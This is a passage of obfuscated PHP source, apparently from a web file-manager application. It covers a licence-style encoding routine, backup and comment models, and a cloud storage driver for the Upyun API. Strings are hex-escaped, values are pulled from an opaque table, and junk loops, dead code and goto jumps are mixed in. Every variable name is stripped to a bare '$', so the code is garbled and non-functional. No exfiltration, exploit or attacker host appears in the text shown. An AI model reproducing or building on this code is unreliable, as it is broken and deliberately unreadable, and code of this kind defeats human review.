while ($ < $[661]) { if ($ >= 0) { break; } $++; } $ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ = $[736]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $ = @file_get_contents($, !1, $); echo $[294] . hash_encode($) . $[295]; $ = $[737]; } private function ycsjf993275f($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; usleep(1); $ = $[738]; while (strlen($) < $[657]) { if (!$) { break; } $++; } $ = trim($); $ = $[739]; $ = mt_rand(0, 5) . $[6]; $ = $[740]; if (!$) { return; } $ = rand_string(15); $ = $[296]; $ = $[741]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } switch ($) { case $[205]: $ = $this->ehka110833eb($, strrev($ . $)); break; $ = $[742]; case $[122]: $ = $this->ehka110833eb($, strrev($ . $)); $ = $[743]; break; $ = $[744]; case $[297]: $ = $this->ehka110833eb($, base64_encode($ . $)); $ = $[745]; break; case $[298]: $ = $this->ehka110833eb($, md5($ . $)); $ = $[746]; if (strlen($) < $[669]) { return; } break; $ = $[747]; if (!$) { die; } case $[299]: $ = base64_encode($); $ = rand(0, 64); $ = $[748]; $ = $[$]; $ = $[749]; if (!$) { die; } $ = md5($ . md5($ . $) . $); $ = $[750]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } $ = substr($, $ % 8, $ % 8 + 7); $ = $[6]; $ = 0; $ = 0; $ = $[751]; if (!$) { die; } $ = 0; $ = $[752]; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ + strpos($, $[$]) + ord($[$++])) % 64; $ = $[753]; if (strlen($) < $[692]) { die; } $ .= $[$]; } $ = hash_encode($ . $); break; $ = $[754]; if (!$) { die; } default: $ = $this->ehka110833eb($, $ . $); break; } $ = strrev($ . $ . $); $ = $[755]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } if ($ - 1 > 0) { $ = $this->ycsjf993275f($, $, $ - 1); } return $; } private function gdyv9b19ed81($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = $[756]; if (!$) { die; } $ = strrev($); $ = $[757]; $ = $[0]; $ = substr($, 1, 15); $ = $[758]; if (strlen($) < $[657]) { return; } $ = substr($, 16); $ = $[759]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $ = $[296]; switch ($) { case $[205]: $ = $this->hsox157bd8b4($, strrev($ . $)); break; case $[122]: $ = $this->hsox157bd8b4($, strrev($ . $)); $ = $[760]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } break; case $[297]: $ = $this->hsox157bd8b4($, base64_encode($ . $)); $ = $[761]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } break; $ = $[762]; if (strlen($) < $[669]) { return; } case $[298]: $ = $this->hsox157bd8b4($, md5($ . $)); break; case $[299]: $ = hash_decode($); $ = $[763]; $ = $[0]; $ = $[764]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = substr($, 1); $ = strpos($, $); $ = $[765]; if (strlen($) < $[671]) { return; } $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[6]; $ = $[766]; $ = 0; $ = 0; $ = 0; $ = $[767]; while ($ < $[669]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = $++; $ = strpos($, $[$]) - $ - ord($[$]); $ = $[768]; if (!$) { die; } while ($ < 0) { $ += 64; } $ .= $[$]; } $ = base64_decode($); break; default: $ = $this->hsox157bd8b4($, $ . $); break; $ = $[769]; } if ($ - 1 > 0) { $ = $this->gdyv9b19ed81($, $, $ - 1); } return $; } public function qxsv06505b9c($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->ghcd461c64f6(); $ = $this->ghcd461c64f6(); $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); $ = $[770]; while (strlen($) < $[671]) { if (!$) { break; } $++; } while (1) { $ = $; $ = $[771]; if (strlen($) < $[692]) { die; } $ = $; while ($ % $ != 0) { $ = $; $ = $[772]; if (strlen($) < $[671]) { die; } $ = $; $ = $[773]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $ = $ % $; $ = $[774]; if (strlen($) < $[661]) { return; } } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[775]; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->ehka110833eb($ * $ . $[6], $[136]); $ = md5($[300] . ($ + $) . $[301] . $ . $[301] . $ . $[302]); $ = $[776]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = $this->ehka110833eb($, $) . $[303] . $; $ = $[777]; return $; } public function xfad5fcc1643($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[303], $); $ = $[778]; if (strlen($) < $[669]) { return; } if (count($) != 2) { return $[6]; } $ = $this->hsox157bd8b4($[1] . $[6], $[136]); if (!$) { return $[6]; } $ = intval($); $ = 0; $ = 0; $ = $[779]; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $ = $[780]; $ = intval($ / $); break; } $ = ($ - 1) * ($ - 1); $ = $[781]; if (strlen($) < $[692]) { return; } $ = intval(($ + $) / 2); $ = $[699]; if (!$) { return; } while (1) { $ = $; $ = $; $ = $[782]; while ($ % $ != 0) { $ = $; $ = $[783]; if (strlen($) < $[692]) { die; } $ = $; $ = $ % $; } if ($ == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = md5($[300] . ($ + $) . $[301] . $ . $[301] . $ . $[302]); $ = $[784]; while (strlen($) < $[671]) { if (!$) { break; } $++; } $ = $this->hsox157bd8b4($[0], $); return $; } public function ghcd461c64f6() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[785]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = array(); $ = $[786]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $ = 1; $ = $[787]; while ($ <= (int) sqrt($)) { $ = $; $ = $[788]; while (!0) { $++; $ = $[789]; if (strlen($) < $[669]) { die; } if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; } $ = 2; for ($ = $; $ > 1; $--) { $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } } return $; $ = $[790]; if (!$) { die; } } public function cxrff5f5dc5f($, $) { $ =& $_SERVER[]; $ =& $_SERVER[]; return call_user_func(array($[8], $[304]), $, $); $ = $[791]; if (strlen($) < $[661]) { die; } } public function ehka110833eb($, $) { $ =& $_SERVER[]; return call_user_func(array($[305], $[306]), $, $); } public function hsox157bd8b4($, $) { $ =& $_SERVER[]; return call_user_func(array($[305], $[307]), $, $); $ = $_SERVER[][792]; } } goto b; c: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x62\141\x63\153\165\160\114\x69\x73\164"; public $field = array("\x69\157", "\x6e\x61\x6d\145", "\x73\x74\141\164\x75\163", "\143\x6f\x6e\164\x65\156\164", "\155\x61\156\x75\141\x6c", "\162\x65\163\x75\154\x74", "\x74\151\155\145\106\x72\x6f\155", "\x74\151\155\x65\124\x6f"); public function config() { $ =& $_SERVER[]; $ = Model($[815])->get($[825]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$[799]])) { $[$[799]] = $[90]; } unset($[$[1675]]); Action($[1929])->taskInit(); Model($[1674])->cacheClear(); $ = $[1930]; $ = Model($[1931])->findByKey($[1693], $); if (!$) { $ = array(); } if (isset($[$[196]])) { $[$[196]] = json_decode($[$[196]], !0); } if (isset($[$[196]])) { $[$[196]][$[1678]] = $[$[196]]; unset($[$[196]]); } return array_merge($, $); } public function listData($ = false, $ = "\155\157\x64\x69\146\x79\124\x69\155\x65", $ = false) { return parent::listData($, $, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[32]])) { return !0; } Task::kill($[824]); Task::kill($[845]); Task::kill($[854]); $ = $[$[32]]; $ = TEMP_FILES . $[823] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][445]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[815])->get($[816]); $ = substr(md5($[817] . $ . $), 0, 8); return "\x7b\x69\x6f\x3a{$[$[796]]}\175\57\x64\x61\x74\141\x62\141\x73\x65\57\x62\141\143\x6b\x75\160\57" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[91]][$[1932]] != $[90]) { return !0; } $ = $this->config(); if (!$ || $[$[1675]] != $[90]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[445]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[799]] == $[214]) { $ = $->file(); } } Backup::set(array($[795] => 1, $[806] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = array($[802] => Task::get($[824]), $[807] => Task::get($[845]), $[216] => Task::get($[854])); $ = !1; foreach ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1710], 0)); if (time() - $ > 7200) { Task::kill($[$[445]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[]; ActionCall($[1111], !0, 1); ActionCall($[1111], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\157\x6d\155\145\156\164"; protected $tableMeta = array("\164\141\x62\154\x65\x4e\x61\155\x65" => "\143\x6f\155\155\145\156\x74\137\155\x65\164\141", "\x6d\145\164\141\x46\x69\x65\x6c\x64" => "\143\x6f\155\155\x65\156\x74\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[]; if ($[$[1933]]) { $ = $this->where(array($[1934] => $[$[1933]]))->find(); if (!$ || $[$[180]] != $[$[180]] || $[$[540]] != $[$[540]]) { return !1; } $this->where(array($[1934] => $[$[1933]]))->setAdd($[1935], 1); } $[$[1936]] = 0; $[$[1935]] = 0; $[$[795]] = 1; return $this->add($); } public function commentCount($, $, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[540], $[1937] => $[536]); $ = array($[540] => array($[7], $), $[180] => $); if ($) { $[$[1705]] = $; } $ = $this->field($)->where($)->group($[540])->select(); return array_to_keyvalue($, $[540], $[536]); } public function starTarget($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1705] => USER_ID, $[180] => $, $[540] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[445] => $[$[445]]))->delete(); } $ = array($[1933] => 0, $[1705] => USER_ID, $[795] => 1, $[799] => $[12], $[180] => $, $[540] => $, $[1936] => 0, $[1935] => 0); return $this->add($); } public function starTargetCount($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $); $ = $this->commentCount($, $, USER_ID); return array($[1938] => $, $[1939] => $); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[540] => $, $[180] => $); $ = $this->where($)->count(); $ = array($[301] => $, $[1940] => array()); if (!$) { return $; } $ = $this->field($[1705])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1705]); $[$[1940]] = Model($[548])->userListInfo($); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $ = array($[1941] => $); $ = $this->where($)->find(); $ = _get($, $[1936], 0); $ = array($[301] => $, $[1940] => array()); if (!$) { return $; } $ = Model($[1942])->field($[1705])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1705]); $[$[1940]] = Model($[548])->userListInfo($); return $; } public function remove($) { $ =& $_SERVER[]; $ = array($[1934] => $); $ = $this->where($)->find(); if ($[$[1933]]) { $this->where(array($[1934] => $[$[1933]]))->setAdd($[1935], -1); } return $this->where($)->delete(); } public function edit($, $) { $ =& $_SERVER[]; $ = array($[1934] => $); return $this->where($)->save(array($[1943] => $)); } public function prasise($) { $ =& $_SERVER[]; $ = Model($[1944]); $ = array($[1934] => $, $[1696] => USER_ID); $ = $->where($)->find(); if (!$) { $->add($); $ = $this->where(array($[1934] => $))->setAdd($[1936], 1); } else { $->where($)->delete(); $ = $this->where(array($[1934] => $))->setAdd($[1936], -1); } return $; } public function targetInfo($, $) { $ =& $_SERVER[]; $ = array($[618] => $, $[619] => $); $ = $this->where($)->count(); $ = "\x52\111\x47\x48\x54\40\112\117\111\x4e\x20{$this->tablePrefix}\143\x6f\155\155\145\x6e\164\x5f\x70\162\141\151\x73\x65\40\x73\x74\x61\x72\x20\x6f\x6e\40\143\157\x6d\x6d\x65\156\x74\x2e\x63\x6f\x6d\x6d\145\x6e\x74\x49\x44\40\x3d\40\163\x74\141\x72\x2e\x63\x6f\x6d\x6d\145\156\x74\x49\x44"; $ = $this->alias($[400])->where($)->join($, $[1945])->count(); $ = array($[1946] => $, $[1947] => $); return $; } public function listData($) { $ =& $_SERVER[]; if (isset($[$[1948]])) { if ($[$[1948]]) { $[$[1941]] = array($[1065], intval($[$[1948]])); } unset($[$[1948]]); } if (isset($[$[1949]])) { if ($[$[1949]]) { $[$[1941]] = array($[1062], intval($[$[1949]])); } unset($[$[1949]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[415]]); $this->_listAppendUser($[$[415]]); $this->_listAppendMeta($[$[415]]); return $; } private function _makeOrder() { $ =& $_SERVER[]; $ = array($[1936], $[1935], $[217]); $ = Input::get($[500], $[7], $[467], $); $ = Input::get($[501], $[7], $[1698], array($[1950], $[496])); $ = $ . $[53] . $; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1933])); $ = array_remove_value($, $[214]); if (!$) { return; } $ = $this->where(array($[1934] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[1941]); foreach ($ as &$) { if (isset($[$[$[1933]]])) { $[$[1951]] = $[$[$[1933]]]; } } unset($); } private function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1705])); $ = array_remove_value($, $[214]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$[1951]])) { $[] = $[$[1951]][$[1705]]; } } $ = Model($[569])->userListInfo($); foreach ($ as &$) { $[$[632]] = $[$[$[1705]]]; if (isset($[$[1951]])) { $[$[1951]][$[632]] = $[$[$[1951]][$[1705]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1941])); $ = array_remove_value($, $[214]); if (!$) { return; } foreach ($ as $) { if (isset($[$[1951]])) { $[] = $[$[1951]][$[1941]]; } } $ = $this->metaList($); if (!$) { return !1; } foreach ($ as &$) { $[$[509]] = $[$[$[1941]]]; if (isset($[$[1951]])) { $[$[1951]][$[509]] = $[$[$[1951]][$[1941]]]; } } unset($); } private function metaList($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[1941] => array($[7], $)); $ = Model($[1952])->where($)->select(); $ = array_to_keyvalue_group($, $[1941]); foreach ($ as $ => $) { $ = array(); foreach ($ as $) { $[$[$[96]]] = $[$[420]]; } $[$] = $; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\x66\x69\x6c\145\137\x63\x6f\156\164\145\x6e\164\163"; protected $dataAuto = array(array("\143\x72\x65\141\x74\x65\124\x69\x6d\x65", "\164\151\155\145", "\x69\156\163\x65\x72\164", "\x66\165\x6e\x63\164\x69\157\x6e")); } goto D; B: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $) { $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($, $ = 0) { $ = new PathDriverStream($, $); return $->hashSimple($); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\x70\72\x2f\57\166\x30\x2e\x61\160\151\x2e\x75\x70\171\x75\156\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1492] . LNG($[1424])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "\107\x45\x54") { $ =& $_SERVER[]; $ = gmdate($[1457]); $ = base64_encode(hash_hmac($[1493], "{$}\x26{$}\x26{$}", md5("{$this->userpass}"), !0)); $ = array("\x41\165\x74\x68\x6f\x72\151\x7a\x61\x74\151\x6f\156\x3a\125\x50\x59\125\116\x20{$this->username}\72{$}", "\104\141\x74\145\72{$}"); return $; } public function ussRequest($, $ = "\107\105\x54", $ = false, $ = false, $ = false) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = "\x2f{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($, $); if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $, $, $, $, $); if (!$) { return array($[1263] => !1, $[1253] => $[1494]); } if (strtolower($) == $[213] || in_array($[$[1263]], array($[259], $[1495]))) { $ = $[$[1496]]; } else { $ = json_decode($[$[1253]], !0); if (!$) { $ = $[$[1253]]; } else { if (!$[$[795]] && isset($[$[1497]])) { $ = $[$[1497]]; } } } return array($[1263] => $[$[795]], $[1253] => $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = array($[1498]); $ = $this->ussRequest($, $[243], !1, $); return $[$[1263]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $ = array($[1499] . "\57{$this->bucket}\x2f{$}", $[1500]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $ = array($[1501] . "\x2f{$this->bucket}\x2f{$}", $[1500]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussRequest($, $[1502]); return $[$[1263]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$[32]], $[1502]); if (!$[$[1263]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $[1502]); if (!$[$[1263]]) { return !1; } } $ = $this->ussRequest($, $[1502]); return $[$[1263]]; } public function rename($, $) { if ($this->isFile($)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[217]] = intval($[$[1503]]); $[$[87]] = intval($[$[1504]]); $[$[78]] = $[$[78]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[217]] = intval($[$[1503]]); $[$[87]] = intval($[$[1504]]); return $; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $ = array($[1505], $[1506] . $); if ($) { $[] = $[1507] . $; } $ = $this->ussRequest($, $[247], !1, $); return !$[$[1263]] ? !1 : $[$[1253]]; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1508]]) ? $[$[1508]] : $[12]; $ = isset($[$[1509]]) ? $[$[1509]] : array(); foreach ($ as $) { $ = $[$[33]] == $[77] ? !0 : !1; $ = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $ ? $[77] : $[216], $[78] => $[$[383]], $[1504] => $[$[1510]]); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $, $); } return array($[84] => $, $[85] => $); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $[12]; $ = 500; $ = 0; $ = 0; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1508]]) ? $[$[1508]] : $[12]; $ = isset($[$[1509]]) ? $[$[1509]] : array(); if (empty($)) { break; } $ = array_filter($, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[77]; }); $ = count($); $ = count($); $ = $ - $; if ($) { $ += $; $ += $; if ($ < $) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($ < $) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; if (!$) { $ = $this->ussRequest($, $[243]); return $[$[1263]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1471] . $ . $[432] . $); } $ = url_request($, $[247], !1, $); return $[$[795]] ? $[$[1253]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array($[1511] . $); $ = $this->ussRequest($, $[245], $); return $[$[1263]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ = array($[1512], $[1513] . $, $[1514], $[1515] . $); $ = $this->ussRequest($, $[245], !1, $); if (!$[$[1263]]) { return !1; } $ = $[$[1253]]; $ = 0; $ = $[$[1516]]; $ = fopen($, $[1418]); if (!$) { return !1; } do { $ = $[$[1517]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $ = $this->uploadPart($, $, $); } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$[1516]]; $ += $; } while ($ != -1); fclose($); $ = array($[1518], $[1519] . $[$[1520]], $[1514]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $, &$) { $ =& $_SERVER[]; $ = array($[1521], $[1519] . $[$[1520]], $[1522] . $[$[1516]], $[145] . $[$[1517]]); $ = $this->ussRequest($, $[245], $, $); return !$[$[1263]] ? $[$[1263]] : $[$[1253]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = (int) $GLOBALS[$[7]][$[78]]; return $this->uploadPolicy($, $, $); } private function uploadPolicy($, $ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $[8] . $this->bucket; $ = gmdate($[1457]); $ = array($[1523] => $this->bucket, $[1524] => $, $[1525] => time() + $, $[1526] => $); if ($) { $[$[1438]] = $; } $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[1493], "\120\x4f\x53\x54\x26{$}\46{$}\x26{$}", md5("{$this->userpass}"), !0)); $ = array($[278] => $, $[1527] => "\x55\120\131\x55\116\x20{$this->username}\72{$}", $[198] => $this->endpoint . $); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1477]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; $ = trim($, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1528])); $ = substr(md5($this->token . $[330] . $ . $[1529] . $), 12, 8) . $; $[] = $[1530] . $; } $ = !empty($) ? $[75] . implode($[330], $) : $[12]; return $this->getHost() . $[8] . $ . $; } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? array($_SERVER[][1531] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1532] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->_objectMeta($); return isset($[$[230]]) ? $[$[230]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1533]); if (!$[$[1263]]) { return null; } $ = isset($[$[1253]]) ? $[$[1253]] : array(); if (!isset($[$[1534]])) { return null; } $ = array($[33] => isset($[$[1534]]) ? $[$[1534]] : null, $[78] => isset($[$[1535]]) ? $[$[1535]] : null, $[230] => isset($[$[1536]]) ? $[$[1536]] : null, $[1503] => isset($[$[1537]]) ? $[$[1537]] : null); $[$[1504]] = isset($[$[1538]]) ? strtotime($[$[1538]]) : $[$[1503]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[77] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[][218]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][218]]; } public function isFolder($) { return !1; } public function size($) { $ = $this->info($); return $[$_SERVER[][78]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$[795]]) { return !1; } $ = _get($, $[383], 0); $ = array($[32] => $[$[32]], $[86] => $, $[33] => $[216], $[78] => intval($), $[177] => get_path_ext($[$[32]]), $[1415] => $ > 